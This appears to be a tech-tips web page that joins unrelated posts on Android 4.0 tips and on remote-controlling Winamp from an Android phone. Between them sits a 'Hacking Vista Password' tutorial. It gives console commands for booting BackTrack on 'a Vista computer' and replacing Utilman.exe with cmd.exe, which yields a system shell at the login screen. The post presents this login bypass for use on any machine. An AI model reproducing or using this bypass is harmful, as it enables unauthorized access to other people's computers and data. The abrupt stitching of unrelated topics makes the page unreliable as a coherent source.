Basics of Android Phone-An Overview

The Android operating system has been developing fast since the release of Version 2.x (ranging from Eclair, Froyo to Gingerbread) for smartphones and Version 3 (Honeycomb) for tablets. It achieves another great milestone with the latest Version 4 (Ice Scream Sandwich or ICS), a universal system suitable for running on both smartphone and tablet devices.
If you’re using a smartphone running on the Android version 2.x, you will be familiar with the four hardware buttons—Back, Menu, Home and Search—to interact with the system. Borrowing the design built for the tablet, Google’s flagship smartphone Galaxy Nexus running on Android 4.0 now has no hardware buttons on the front, not even one. These hardware buttons turn virtual, leaving only two physical buttons—Volume and Power—on the left and right sides of the device.

Like the screenshot, the three buttons Back, Home and Recent Apps often appear on a home screen and the Menu button only shows up when an app needs it. When you playback a video, the default media app hides all these onscreen buttons and takes up the whole screen area for your video. A pretty good idea.

If you’ve just got a new Android device running on Version 4.0, these tips and tricks might be of help to you. Some relevant information on older versions of Android is added for ease of reference where applicable.

How to Access Notifications in Android

At the top of your screen, you will see notifications which report calendar events, alarms, incoming mails or other ongoing events. Swipe down from the top of the screen to reveal the list of notifications, then swipe up from the O-sign to hide it.

  • Depending on the notification type, you can swipe a notification sideway to dismiss it, or tap the X-sign to dismiss all from the list.
  • To access a notification, tap it and you’re taken to the related email, reminder, message or app. The notification then clears automatically from the list where applicable.

Note: When you slide down from the top of the screen, you can also see this Quick Settings icon.
Touching this icon is equivalent to running the Settings app.

Hacking Vista Password for recovery of password

Hacking Vista Password

This tutorial is quite simple and wont require so many steps…
All you need is BackTrack3,get it at Remote Exploit

First of, find a Vista computer, boot BackTrack 3,4,5 at it, then load it up and go into the console….

Now that u have the console open start typing the following commands

cd /mnt

Then do



cd sda1


cd windows


cd system32


MV Utilman.exe Utilman.old


cp cmd.exe Utilman.exe



Now the system is going down for reboot and now let it load up Windows Vista

When u get to the login place, hit the WindowsKey + U to invoke the utility manager

Then simply throw in a command




Congrats You r inside the system 🙂

How to Remotely Control Music On Your PC With Android

People are living in an increasingly interconnected world, with devices often offering cross-platform compatibility for convenient methods of control. If you have an Android smartphone or tablet, however, just how easy is it to remotely control music on your PC using this gadget?

There are a number of solutions available to tackle this tricky issue, but for the purposes of clarity and ease, here is a single option that harnesses the power of Winamp, which is among the most popular media players.

PC Configuration

To get the ball rolling you need to add the Winamp media player to your PC if you have not already done so. This popular piece of software is preferred by many because it is far more flexible and customisable than Microsoft’s standard Windows Media Player program.

Once Winamp is installed and you have synchronised it with the folders in which you keep all of your music files, you will need to download and install a plugin, namely the one which deals with remote control.

The RemoteControl plugin should be easy to find, although bear in mind that you may also need to update other elements of Windows in the process. This will include the .NET Framework 4 and Visual C++ 2010 from Microsoft if they are not already present.

You do not need to worry about downloading these separately as the plugin will contain them and add them as necessary.

When this process has completed, start up Winamp on your PC and check the settings on the RemoteControl plugin. This will allow you to find the local IP address of your PC, which is necessary for the next part of the installation, for which you will require your Android device.

Android Configuration

Head to the Google Play market (formerly the Android Market prior to a recent re-brand) and search for the RemoteControl for Winamp application, which as you might imagine is developed by the same team that made the PC equivalent.

At this point the set-up process becomes much less complicated because you just need to download and install the app, then launch it and head to the settings.

Under connection settings, you need to put in the local IP address that you found on your PC, before heading to the app’s Overview tab and clicking on ‘connect’ to synchronise it with Winamp on your computer.

Bear in mind that you will need to have both your PC and Android device connected to the same internal network, which means that your smartphone will need to be hooked up to your Wi-Fi router. You cannot, for example, use your Android handset to control Winamp over a 3G connection in this situation, because the internal IP address will be irrelevant.

Once the connection has been established, you should be able to search through your music tracks, control playback, shuffle your collection and even examine and create playlists.


It is worth noting that this kind of set-up will essentially allow you to turn your Android smartphone into a remote control device that allows you to manipulate the playback of audio on your PC, not actually stream media direct to your phone for portable playback.

The music will be coming out of the speakers which are attached to your PC, so it is suitable to use if you are sitting across the other side of the room, or are indeed anywhere within range of your Wi-Fi network.

There are other services out there that will allow you to remotely control more aspects of your PC for the purpose of media playback. Winamp is not the only option, but this particular arrangement does make it especially easy to get everything working.

Even if you do not consider yourself to be particularly literate when it comes to technology, there should be plenty of instructions available with compatible apps in order to let you get the job done correctly. If you are looking to find iPhone SIM only check out the latest deals and see which apps support remote control of your PC or Mac from an Apple handset.

All that remains is for you to sit back with your Android smartphone and your PC and watch how the two technologies can meld despite their differences.